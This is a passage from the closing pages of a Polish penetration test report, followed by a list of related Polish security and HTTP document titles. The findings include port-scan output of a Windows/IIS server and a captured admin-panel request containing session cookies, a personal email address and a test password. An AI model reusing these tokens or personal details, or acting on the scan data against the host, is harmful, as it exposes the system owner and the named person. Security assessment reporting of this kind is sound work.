33 DODATKOWE INFORMACJE I REKOMENDACJE 5.1 Duża ilość otwartych portów Opis Wykryto że serwer posiada dużą ilość portów, które mogą stanowić potencjalne punkty wejścia dla atakującego Rekomendacje Należy zweyfikować listę otwartych portów i zamknąć te, które nie są niezbędne do poprawnego działania aplikacji Dodatkowe informacje OWASP I3_Insecure_Network_Services Dowody PORT STATE SERVICE VERSION 21/tcp open ftp Gene6 ftpd build 15 25/tcp open smtp? 80/tcp open http Microsoft IIS httpd /tcp closed ident 443/tcp open https? 1538/tcp open msrpc Microsoft Windows RPC 1539/tcp open msrpc Microsoft Windows RPC 1542/tcp open msrpc Microsoft Windows RPC 1720/tcp open h323q931? 1801/tcp open msmq? 2103/tcp open msrpc Microsoft Windows RPC 2105/tcp open msrpc Microsoft Windows RPC 2107/tcp open msrpc Microsoft Windows RPC 5060/tcp open sip? 7003/tcp open http Microsoft HTTPAPI httpd /tcp open ssl/http Microsoft IIS httpd Brak polityki mocnych haseł Opis Najbardziej rozpowszechnionym i najłatwiej administrowalnym mechanizmem uwierzytelniania jest statyczne hasło. Hasło reprezentuje klucz do banku, ale Strona 33 z 35
34 często jego znaczenie jest lekceważone przez użytkowników w imię użyteczności. W każdym z ostatnich wycieków, które ujawniły poświadczenia użytkowników, odkrywa się, że najczęściej używane hasła to nadal: , password i qwerty Rekomendacje Należy rozważyć wprowadzenie mechanizmu wymuszającego na użytkownikach stosowania mocnych haseł Dodatkowe informacje OWASP AUTHN-007) Dowody Żądanie: POST /Admin/Customer/Edit/66 HTTP/1.1 Host: XXXXX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/ Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: XXXXX=32b8a4de-a83d-45c e301a9b69; XXXXX= B8DC65E00B9ACA1E08FB C5756D52BD80D 99B64AEDBA0D92A36C865BAD17F7B64D004B53614C98286B86C55 0CC994DD1FB10202F8E05E8D BD5AF6E47C40CE60F3B3CD D6A49A48DC56D B01E0EF58F89216CABA8ADB6BC6380 FAC4EAD7B45D382297C91200D7415F5BE809547BD64A65A7EE2AD F A A4C9C1A36478ABB22080E8DA37766F27 ED01FC C FBA6D0DFFDF5D562615FA3E3E1B 518CF2D147F ADDCEC78B2798C3DCF6F5577BDD6B29BFE E2F D1D FF FBAC07EF9 B7A355C07; selectedtabindex=%7b%22tabstripname%22%3a%22customeredit-tabstrip%22%2c%22tabindex%22%3a0%7d; ASP.NET_SessionId=m4fvihth1o51agg5vj2c52fd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 939 Id=66&LastLoginDate=&UpdateDate= %3A20%3A13&PasswordFormatId=0&IsSystemAccount=Fa lse&systemname=&externalid=0&active=true&active=false & =asdasd%40adsad.pl&MobilePhone=michal.kedzior14 Strona 34 z 35
35 78%40gmail.com&Password=test&newpassword=test&AdminCo mment=&createdate= [ ] Odpowiedź: Strona 35 z 35
Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW
Ataki na aplikacje WWW Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW Ataki na aplikację Ataki na przeglądarkę Ataki na serwer WWW/kontener, etc. Często kombinacja i wiele etapów Którędy do środka
Programowanie w Internecie
mariusz@math.uwb.edu.pl http://math.uwb.edu.pl/~mariusz Uniwersytet w Białymstoku 2018/2019 Serwer HTTP Najbardziej popularne serwery HTTP: Apache nginx Microsoft IIS Lite Speed GWS Google Statystyki Netcraft:
The OWASP Foundation http://www.owasp.org. Session Management. Sławomir Rozbicki. slawek@rozbicki.eu
The OWASP Foundation http://www.owasp.org Session Management Sławomir Rozbicki slawek@rozbicki.eu 28-07-2011 OWASP TOP 10 A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session
Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4
03.04.2017r AGH, WIMIR, Inżynieria Mechatroniczna Dawid Furdzik Nr albumu: 279671 Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Po wywołaniu polecenia odpowiedź serwera wygląda następująco:
Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework
Uniwersytet Zielonogórski Wydział Elektrotechniki, Informatyki i Telekomunikacji Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework mgr inż. Łukasz Stefanowicz dr inż.
Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.
Protokół HTTP 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX. 1 Usługi WWW WWW (World Wide Web) jest najpopularniejszym sposobem udostępniania
Zagrożenia związane z udostępnianiem aplikacji w sieci Internet
Zagrożenia związane z udostępnianiem aplikacji w sieci Internet I Ogólnopolska Konferencja Informatyki Śledczej Katowice, 8-9 stycznia 2009 Michał Kurek, Aleksander Ludynia Cel prezentacji Wskazanie skali
Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.
Plan wykładu 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX. 1 Protokół FTP Protokół FTP (File Transfer Protocol) [RFC 959] umożliwia
Aplikacje internetowe - laboratorium
Aplikacje internetowe - laboratorium PHP Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej opartej o język PHP. Aplikacja ilustruje takie mechanizmy jak: obsługa formularzy oraz obsługa
Protokół HTTP 1.1 *) Wprowadzenie. Jarek Durak. rfc2616 źródło www.w3.org 1999
Protokół HTTP 1.1 *) Wprowadzenie Jarek Durak * rfc2616 źródło www.w3.org 1999 HTTP Hypertext Transfer Protocol Protokół transmisji hipertekstu został zaprojektowany do komunikacji serwera WW z klientem
Zarządzanie sesją w aplikacjach Internetowych. Kraków, 2008-10-23 Paweł Goleń
Zarządzanie sesją w aplikacjach Internetowych Kraków, 2008-10-23 Paweł Goleń Agenda Po co sesje w aplikacjach internetowych Sposoby przekazywania identyfikatorów Sposoby ochrony Cookie Analiza identyfikatora
Technologie sieciowe Sprawozdanie z labolatorium. Lista 5
Politechnika Wrocławska Wydział Podstawowych Problemów Techniki Technologie sieciowe Sprawozdanie z labolatorium Lista 5 Autor: Piotr Kosytorz IIrokInf. indeks: 166174 Prowadzący: dr inż. Łukasz Krzywiecki
Obsługa poczty elektronicznej w domenie emeritus.ue.poznan.pl
Obsługa poczty elektronicznej w domenie emeritus.ue.poznan.pl Centrum Informatyki http://ci.ue.poznan.pl helpdesk@ue.poznan.pl al. Niepodległości 10, 61-875 Poznań tel. + 48 61 856 90 00 NIP: 777-00-05-497
Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty
Wprowadzenie do kryptografii i bezpieczeństwa Po raz czwarty WWW i e-mail WWW HTTPS & SSL doesn't mean "trust this." It means "this is private." You may be having a private conversation with Satan. Hanselman
Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP 2010.03.17. The OWASP Foundation http://www.owasp.
Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. Przemysław Skowron OWASP Poland Leader OWASP 2010.03.17 Alior Bank S.A. przemyslaw.skowron@gmail.com Copyright The OWASP Foundation
Bezpieczeństwo systemów komputerowych
Bezpieczeństwo systemów komputerowych Zagrożenia dla aplikacji internetowych Aleksy Schubert (Marcin Peczarski) Instytut Informatyki Uniwersytetu Warszawskiego 15 grudnia 2015 Lista zagadnień Wstrzykiwanie
Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Wojciech Kaczmarski
Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Wojciech Kaczmarski Zad.2 GET /~s279680/ HTTP/1.1 Host: mts.wibro.agh.edu.pl HTTP/1.1 200 OK Date: Wed, 29 Mar 2017 08:15:01 GMT Server: Apache/2.4.7
Aspekty bezpieczeństwa aplikacji internetowych
Aspekty bezpieczeństwa aplikacji internetowych Kamil Witecki (kamil@witecki.net.pl) Wojciech Wodo (wojciech.wodo@gmail.com) 21 kwietnia 2010 Kto, co, dlaczego? Popularne typy ataków Kim jesteśmy i dlaczego
Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas)
Hosting WWW Bezpieczeństwo hostingu WWW Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas) Najgroźniejsze ataki na serwer WWW Najgroźniejsze ataki na serwer WWW Cross-site scripting (XSS) SQL injection Denial
Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF
Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF O mnie 12 lat doświadczenia w systemach WEB Java/JEE (ISC) 2 CISSP CTO w J-LABS GET / HTTP/1.1 Host: bank.pl User-Agent: Mozilla/5.0
HTTP W 5-CIU PYTANIACH MICHAŁ KOPACZ
HTTP W 5-CIU PYTANIACH MICHAŁ KOPACZ 1 Co się dzieje po wpisaniu URL w przeglądarce? https://github.com/michalkopacz/zf-apigility/commits?page=4#start-of-content Uniform Resource Locator (ujednolicony
Kurs rozszerzony języka Python
Środowisko Django, cz. 3 19 stycznia 2018 Plan wykładu 1 2 Konstrukcja formularzy Walidacja i zapis 3 Ograniczenie dostępu 4 Plan wykładu 1 2 Konstrukcja formularzy Walidacja i zapis 3 Ograniczenie dostępu
Aplikacje WWW - laboratorium
Aplikacje WWW - laboratorium PHP. Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej wykorzystującej technologię PHP. Aplikacja pokazuje takie aspekty, obsługa formularzy oraz zmiennych
Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science
Systemy internetowe Wykład 5 Architektura WWW Architektura WWW Serwer to program, który: Obsługuje repozytorium dokumentów Udostępnia dokumenty klientom Komunikacja: protokół HTTP Warstwa klienta HTTP
pawel.rajba@gmail.com, http://itcourses.eu/ Adresy zasobów Rodzaje zawartości Negocjacja treści Komunikacja Buforowanie HTTP Request/Response Nagłówki Bezstanowość Cookies Narzędzia URL, http://www.ietf.org/rfc/rfc3986.txt
Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne
Jarosław Kuchta Internetowe Usługi Informacyjne Komponenty IIS HTTP.SYS serwer HTTP zarządzanie połączeniami TCP/IP buforowanie odpowiedzi obsługa QoS (Quality of Service) obsługa plików dziennika IIS
Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór
S t r o n a ǀ 1 z 5 Załącznik nr 1 do zapytania ofertowego Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór I. Definicje. 1. Dostawca
Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,
Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa, 2008-01-08 1 Agenda 1. Teza 2. Bezpieczeństwo aplikacji internetowych Usługi bezpieczeństwa
Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web
Opracował: dr inŝ. Mariusz Stawowski F5 Certified Product Consultant, ASM Email: mariusz.stawowski@clico.pl Zabezpieczenia sieciowe Firewall i Intrusion Prevention System (IPS) są podstawą do tworzenia
INSTRUKCJA OBSŁUGI KLIENTA POCZTY WWW
INSTRUKCJA OBSŁUGI KLIENTA POCZTY WWW 1. Parametry... 2 2. Zabezpieczenie antywłamaniowe.....2 3. Wymagania hasła... 2 4. Opis... 2 5. Zatwierdzanie operacji... 2 6. Zmiana hasła... 3 7. Ustawienie opcji
Języki programowania wysokiego poziomu. PHP cz.3. Formularze
Języki programowania wysokiego poziomu PHP cz.3. Formularze Formularze Sposób przesyłania danych formularza do serwera zależy od wybranej metody HTTP: Metoda GET
Programowanie Sieciowe 2 Protokoły komunikacyjne: HTTP
Programowanie Sieciowe 2 Protokoły komunikacyjne: HTTP mgr inż. Tomasz Jaworski tjaworski@kis.p.lodz.pl http://tjaworski.kis.p.lodz.pl/ Protokoły komunikacyjne HTTP HyperText Transport Protocol 2 Protokół
OWASP. The Open Web Application Security Project. OWASP Top 10 2010 rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach
OWASP The Open Web Application Security Project OWASP Top 10 2010 rc1 Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach Release Candidate 1 (tłum.+ zmiany: Michał Wiczyński, http://thinklikeninja.blogspot.com)
I.Wojnicki, Tech.Inter.
, Przegladarki Katedra Automatyki Akademia Górniczo-Hutnicza w Krakowie 25 lutego 2009 Outline 1 2 3 Wybrane Definicje HTTP, RFC1945 I http://www.ietf.org/rfc/rfc1945.txt HTTP Made Really Easy: http://www.jmarshall.com/easy/http/
Healthix Consent Web-Service Specification
Healthix Consent Web-Service Specification Version 0.1 Healthix, Inc. 40 Worth St., 5 th Floor New York, NY 10013 1-877-695-4749 Ext. 1 healthix.org Heatlhix Consent Web-Services Specification Page 1 of
OWASP OWASP. The OWASP Foundation http://www.owasp.org. Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek
Cross-Site Scripting Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek Copyright The Foundation Permission is granted to copy, distribute and/or modify this document under the terms of
Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas)
Hosting WWW Bezpieczeństwo hostingu WWW Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas) Protokoły WWW Protokoły transportowe HTTP HyperText Transfer Protocol HTTPS HTTP Secured Format adresów WWW URI Uniform
Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat protokołu http.
T: Konfiguracja usługi HTTP w systemie Windows. Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat protokołu http. HTTP (ang. Hypertext Transfer Protocol) protokół transferu plików
Architektura aplikacji sieciowych. Architektura klient-serwer
Warstwa aplikacji Architektura aplikacji sieciowych Architektura klient-serwer Architektura aplikacji sieciowych Architektura P2P Cechy aplikacji sieciowych Skalowalność Anonimowość Samoorganizacja sieci
Orange Send MMS. Autoryzacja. Metoda HTTP. Parametry wywołania. API wyślij MMS dostarcza wiadomości MMS. Basic POST
Orange Send MMS API wyślij MMS dostarcza wiadomości MMS. Autoryzacja Basic Metoda HTTP Parametry wywołania Nagłówek Wywołania (Request Header) Jeśli zawartość wiadomości jest w formie załącznika, wywołanie
Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych
Firewalle aplikacyjne - Zabezpieczanie aplikacji internetowych Wojciech Dworakowski Agenda Dlaczego tradycyjne mechanizmy nie wystarczają? Wykorzystanie zaawansowanych firewalli Firewalle aplikacyjne architektura
I.Wojnicki, JiTW. Języki i Technologie Webowe. Protokół HTTP, Przegladarki. Igor Wojnicki
Igor Wojnicki (AGH, KA) Języki i Technologie Webowe 16 października 2013 1 / 37 Języki i Technologie Webowe Protokół HTTP, Przegladarki Igor Wojnicki Katedra Informatyki Stosowanej Akademia Górniczo-Hutnicza
Drobne błędy w portalach WWW
Drobne błędy w portalach WWW Borys Łącki http://www.logicaltrust.net XIX Górska Szkoła Informatyki / Szczyrk, 23-26.06.2008 r. LogicalTrust wyizolowany departament bezpieczeństwa IT Business Consulting
Pomoc dla http://host.nask.pl/ 31.12.2012 r.
Pomoc dla http://host.nask.pl/ 31.12.2012 r. Spis treści Kontakt... 2 Logowanie do konta pocztowego przez WWW... 3 Logowanie do panelu administracyjnego... 4 Konfiguracja klienta pocztowego... 7 Umieszczanie
OCHRONA PRZED RANSOMWARE. Konfiguracja ustawień
OCHRONA PRZED RANSOMWARE Konfiguracja ustawień SPIS TREŚCI: Wstęp...................... 3 Dlaczego warto korzystać z dodatkowych ustawień...... 3 Konfiguracja ustawień programów ESET dla biznesu......
Instrukcja konfiguracji funkcji skanowania
Instrukcja konfiguracji funkcji skanowania WorkCentre M123/M128 WorkCentre Pro 123/128 701P42171_PL 2004. Wszystkie prawa zastrzeżone. Rozpowszechnianie bez zezwolenia przedstawionych materiałów i informacji
FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A.
FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A. KIM JESTEM? absolwent PP, systemy rozproszone i sieci komputerowe security consultant przez ostatnie 2 lata bezpieczeństwo aplikacji webowych i mobilnych
Technologie internetowe
Protokół HTTP Paweł Rajba pawel@ii.uni.wroc.pl http://www.kursy24.eu/ Spis treści Protokół HTTP Adresy zasobów Jak korzystać z telnet? Metody protokołu HTTP Kody odpowiedzi Pola nagłówka HTTP - 2 - Adresy
Tomasz Greszata - Koszalin
T: Konfiguracja usługi HTTP w systemie Windows. Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat protokołów HTTP oraz HTTPS i oprogramowania IIS (ang. Internet Information Services).
Sprawozdanie nr 4. Ewa Wojtanowska
Sprawozdanie nr 4 Ewa Wojtanowska Zad.1 Korzystając z zasobów internetu zapoznałam się z dokumentami: RFC 1945 i RFC 2616. Zad.2 Badanie działania protokołu http Zad.3 Zad.4 URL (ang. Uniform Resource
TCP/IP. Warstwa aplikacji. mgr inż. Krzysztof Szałajko
TCP/IP Warstwa aplikacji mgr inż. Krzysztof Szałajko Modele odniesienia 7 Aplikacji 6 Prezentacji 5 Sesji 4 Transportowa 3 Sieciowa 2 Łącza danych 1 Fizyczna Aplikacji Transportowa Internetowa Dostępu
Przewodnik dla Klienta
Załącznik Do Umowy UBE Wolin 2013 r. Przewodnik dla Klienta Internetowa Obsługa Rachunku (Instrukcja użytkownika) https://www.bswolin.pl Wolin 2013 rok 1 SPIS TREŚCI: Informacje ogólne...3 Konfiguracja...3
PayPo API v.2.0. Dokument zawiera specyfkaccę techniczną REST API PayPo.pl w wersci 2.0. Wersja dokumentu. Wykaz zmian
PayPo API v.2.0 Dokument zawiera specyfkaccę techniczną REST API PayPo.pl w wersci 2.0. Wersja dokumentu Data Wykaz zmian 1.2.2 2017.12.12 Rozszerzenie funkcconalności atrybutu zaufanego klienta 1.2.1
Program szkolenia: Bezpieczny kod - podstawy
Program szkolenia: Bezpieczny kod - podstawy Informacje: Nazwa: Kod: Kategoria: Grupa docelowa: Czas trwania: Forma: Bezpieczny kod - podstawy Arch-Sec-intro Bezpieczeństwo developerzy 3 dni 75% wykłady
KONFIGURACJA PRZEGLĄDAREK. Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB
KONFIGURACJA PRZEGLĄDAREK Poniższa konfiguracja dedykowana jest dla Bankowości Internetowej SGB Spis treści Konfiguracja przeglądarki Internet Explorer 8.0... 2 Konfiguracja przeglądarki Internet Explorer
Bezpieczeństwo aplikacji internetowych
Bezpieczeństwo internetowych Marek Zachara http://marek.zachara.name 1/23 Aplikacje internetowe znajdują się pod ciągłym 'ostrzałem' Jest to wynikiem skali: ponad 3 mld użytkowników sieci 900 mln 'hostnames'
Instrukcja użytkowania platformy ONLINE. Akademii Doskonalenia Zawodowego NATUROPATA ADZ Naturopata
Instrukcja użytkowania platformy ONLINE Akademii Doskonalenia Zawodowego NATUROPATA 2016 ADZ Naturopata SPIS TREŚCI Rozdział 1. Wymagania techniczne.... 4 1. System operacyjny.... 4 2. Przeglądarka internetowa....
Dokumentacja fillup - MS SQL
Dokumentacja fillup - MS SQL e-file.pl 28 lipca 2017 Spis treści Wstęp 2 Wymagania sprzętowe 2 Windows Server 2012.......................... 2 Windows 10............................... 3 MS SQL Server.............................
INSTRUKCJA KONFIGURACJI KLIENTA POCZTOWEGO
INSTRUKCJA KONFIGURACJI KLIENTA POCZTOWEGO UWAGA!!! Wskazówki dotyczą wybranych klientów pocztowych Zespół Systemów Sieciowych Spis treści 1. Konfiguracja klienta pocztowego Outlook Express 3 2. Konfiguracja
Usługi sieciowe systemu Linux
Usługi sieciowe systemu Linux 1. Serwer WWW Najpopularniejszym serwerem WWW jest Apache, dostępny dla wielu platform i rozprowadzany w pakietach httpd. Serwer Apache bardzo często jest wykorzystywany do
OCHRONA PRZED RANSOMWARE
OCHRONA PRZED RANSOMWARE Konfiguracja ustawień Wprowadzanie zmian i proponowanych w niniejszym dokumencie polityk bezpieczeństwa polecamy wyłącznie administratorom, posiadającym szczegółową wiedzę nt swojej
LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska
LUKI BEZPIECZEŃSTWA Waldemar Korłub W APLIKACJACH INTERNETOWYCH Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska OWASP Top 10 2 OWASP: Open Web Application Security Project www.owasp.org
Konfiguracja programu pocztowego Outlook Express i toŝsamości.
Konfiguracja programu pocztowego Outlook Express i toŝsamości. Kiedy mamy juŝ załoŝone konto internetowe warto skonfigurować poprawnie swój program pocztowy. Mamy wprawdzie spory wybór ale chyba najpowszechniejszym
Protokół DHCP. DHCP Dynamic Host Configuration Protocol
Protokół DHCP Patryk Czarnik Bezpieczeństwo sieci komputerowych MSUI 2009/10 DHCP Dynamic Host Configuration Protocol Zastosowanie Pobranie przez stację w sieci lokalnej danych konfiguracyjnych z serwera
Protokół HTTP (2) I) Wprowadzenie. II) Użyte narzędzia: III) Kolejność działań
Protokół HTTP (2) I) Wprowadzenie Celem ćwiczenia jest zapoznanie z protokołem HTTP. Ćwiczenie obejmuje takie zagadnienia jak: a) instalację i konfigurację serwera HTTP (Apache2), b) uwierzytelnianie dostępu
Aplikacje WWW - laboratorium
Aplikacje WWW - laboratorium Serwlety Celem ćwiczenia jest przygotowanie kilku prostych serwletów ilustrujących możliwości tej technologii. Poszczególne ćwiczenia prezentują sposób przygotowania środowiska,
Projektowani Systemów Inf.
Projektowani Systemów Inf. Wykład VII Bezpieczeństwo Copyrights by Arkadiusz Rzucidło 1 Bezpieczeństwo Bezpieczeństwo związane z danymi Konstrukcja magazynów danych Mechanizmy zapisu i modyfikacji danych
Dokumentacja smsapi wersja 1.4
Dokumentacja smsapi wersja 1.4 1. Wprowadzenie Platforma smsapi została skierowana do użytkowników chcących rozbudować swoje aplikacje o system wysyłania smsów. Aplikacja ta w prosty sposób umożliwia integrację
Wybrane działy Informatyki Stosowanej
Wybrane działy Informatyki Stosowanej Dr inż. Andrzej Czerepicki a.czerepicki@wt.pw.edu.pl http://www2.wt.pw.edu.pl/~a.czerepicki 2017 Globalna sieć Internet Koncepcja sieci globalnej Usługi w sieci Internet
Analiza możliwości złośliwego oprogramowania vjw0rm w kampanii phishingowej PayU
Warszawa, 16.03.2016 Analiza możliwości złośliwego oprogramowania vjw0rm w kampanii phishingowej PayU CERT OPL, Analiza vjw0rm; Autor: Iwo Graj Strona 1 z 14 W pierwszej połowie marca w polskim internecie
Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania
Zagrożenia trywialne Zagrożenia bezpieczeństwa aplikacji internetowych Rozwiązania charakterystyczne dla fazy rozwoju opisy rozpoznanych błędów, debugging, komentarze poprzednie wersje plików (cp plik.jsp
Referat z przedmiotu Technologie Internetowe SPIS TREŚCI
SPIS TREŚCI 1.Dwie metody przekazu danych do serwera 2 2.Metoda GET przykład 3 3.Metoda POST przykład 4 4.Kiedy GET a kiedy POST 5 5.Szablony po co je stosować 7 6.Realizacja szablonu własną funkcją 8
elektroniczna Platforma Usług Administracji Publicznej
elektroniczna Platforma Usług Administracji Publicznej Instrukcja użytkownika Profil Zaufany wersja 02-02. Ministerstwo Spraw Wewnętrznych i Administracji ul. Batorego 5, 02-591 Warszawa www.epuap.gov.pl
Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz
Wykład 3 Inżynieria oprogramowania Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Struktura wykładu 1. Utworzenie użytkowników i ról na serwerze aplikacji Sun Java System
Języki programowania wysokiego poziomu WWW
Języki programowania wysokiego poziomu WWW Zawartość Protokół HTTP Języki HTML i XHTML Struktura dokumentu html: DTD i rodzaje html; xhtml Nagłówek html - kodowanie znaków, język Ciało html Sposób formatowania
Sieci komputerowe. Tadeusz Kobus, Maciej Kokociński Instytut Informatyki, Politechnika Poznańska
Sieci komputerowe Tadeusz Kobus, Maciej Kokociński Instytut Informatyki, Politechnika Poznańska Warstwa transportowa Sieci Komputerowe, T. Kobus, M. Kokociński 2 Sieci Komputerowe, T. Kobus, M. Kokociński
Snifery wbudowane w Microsoft Windows
Snifery wbudowane w Microsoft Windows Prezentację przygotowali: Robert Milczarski Łukasz Stegliński Maciej Łaski Network Monitorw w Microsoft Windows Server 2003 Wbudowany w Windows monitor sieci wykorzystywany
Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami
Serwer SSH Serwer SSH Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami Serwer SSH - Wprowadzenie do serwera SSH Praca na odległość potrzeby w zakresie bezpieczeństwa Identyfikacja
ZABEZPIECZENIE KOMUNIKACJI Z SYSTEMEM E-PŁATNOŚCI
PROJEKT: ZAPROJEKTOWANIE, WYKONANIE I WDROŻENIE SYSTEMU INFORMATYCZNEGO OBSŁUGUJĄCEGO E-PŁATNOŚCI ZABEZPIECZENIE KOMUNIKACJI Z SYSTEMEM E-PŁATNOŚCI Strona 1 z 19 Informacje o Historia zmian Wprowadzenie
SIP Studia Podyplomowe Ćwiczenie laboratoryjne Instrukcja
SIP Studia Podyplomowe Ćwiczenie laboratoryjne Instrukcja Instytut Telekomunikacji Wydział Elektroniki i Technik Informacyjnych Politechnika Warszawska, marzec 2015 Wprowadzenie Ćwiczenie jest wykonywane
Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz
Programowanie komponentowe Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz Struktura wykładu 1. Utworzenie użytkowników i ról na serwerze aplikacji Sun Java System Application
Laboratorium nr 4 - Badanie protokołów WWW
Data ćwiczenia: 29.03.2017 Prowadzący: dr inż. Piotr Kurowski Przedmiot: Sieci komputerowe i bazy danych Wykonawca: Klaudia Gurbiel Kierunek: Inżynieria mechatroniczna Rok III, Semestr VI Laboratorium
elektroniczna Platforma Usług Administracji Publicznej
elektroniczna Platforma Usług Administracji Publicznej Instrukcja użytkownika Instrukcja korzystania z certyfikatu wersja 7.5 Ministerstwo Spraw Wewnętrznych i Administracji ul. Batorego 5, 02-591 Warszawa
Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań, 04.03.2010
Bezpieczeństwo interoperacyjnego hostingu Gerard Frankowski, Zespół Bezpieczeństwa PCSS 4. Konferencja MIC Nowoczesne technologie bliżej nas Poznań, 04.03.2010 1 Agenda Wprowadzenie Zespół Bezpieczeństwa
Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)
Tworzenie witryn internetowych PHP/Java (mgr inż. Marek Downar) Rodzaje zawartości Zawartość statyczna Treść statyczna (np. nagłówek, stopka) Layout, pliki multimedialne, obrazki, elementy typograficzne,
PSI Protokół HTTP + wstęp do przedmiotu. Kraków, 10 październik 2014 mgr Piotr Rytko Wydział Matematyki i Informatyki UJ
PSI Protokół HTTP + wstęp do przedmiotu Kraków, 10 październik 2014 mgr Piotr Rytko Wydział Matematyki i Informatyki UJ Co będzie na zajęciach Całość ćwiczeń podzielona została na trzy główne bloki: Blok
Konfiguracja poczty IMO w programach Microsoft Outlook oraz Mozilla Thunderbird
Konfiguracja poczty IMO w programach Microsoft Outlook oraz Mozilla Thunderbird 1. Mozilla Thunderbird Rozpocząć konfigurację IMO poczty należy od kliknięcia opcji utworzenia nowego konta w programie.
Uwaga!!! Autentykacja LDAP/AD zaimplementowana w Vigor wspiera tylko proste uwierzytelnianie (hasło przesyłane jest jawnym tekstem).
1. Konfiguracja serwera VPN 1.1. LDAP/AD 1.2. Ustawienia ogólne 1.3. Konto SSL 2. Konfiguracja klienta VPN 3. Status połączenia 3.1. Klient VPN 3.2. Serwer VPN Procedura konfiguracji została oparta na
Analiza malware'u SandroRAT_sec Kaspersky_Mobile_Security.apk
Analiza malware'u SandroRAT_sec Kaspersky_Mobile_Security.apk CERT OPL Autorzy: Iwo Graj, Marcin Ressel Warszawa, 2014-08-01 CERT OPL Malware Mobile Analysis Autorzy: Iwo Graj, Marcin Ressel Strona 1 z
Bazy danych i usługi sieciowe
Bazy danych i usługi sieciowe Bezpieczeństwo Paweł Daniluk Wydział Fizyki Jesień 2014 P. Daniluk (Wydział Fizyki) BDiUS w. X Jesień 2014 1 / 27 Bezpieczeństwo Zabezpiecza się transmisje zasoby aplikacje
Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.
Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji a.klesnicki@gmail.com Potrzeba 75% udanych ataków z Internetu wykorzystuje dziury w aplikacja webowych Rozwiązania Jak możemy się chronić?
Comarch isklep24 Ulotka v. 5.1
Comarch isklep24 Ulotka v. 5.1 31-864 Kraków, Al. Jana Pawła II 41g tel. (12) 681 43 00, fax (12) 687 71 00 Dział Wsparcia Klienta i Partnera: (12) 681 43 00 http://www.comarch.pl/erp/ info.erp@comarch.pl
Bramka płatnicza. Dokumentacja techniczna. wersja 1.0
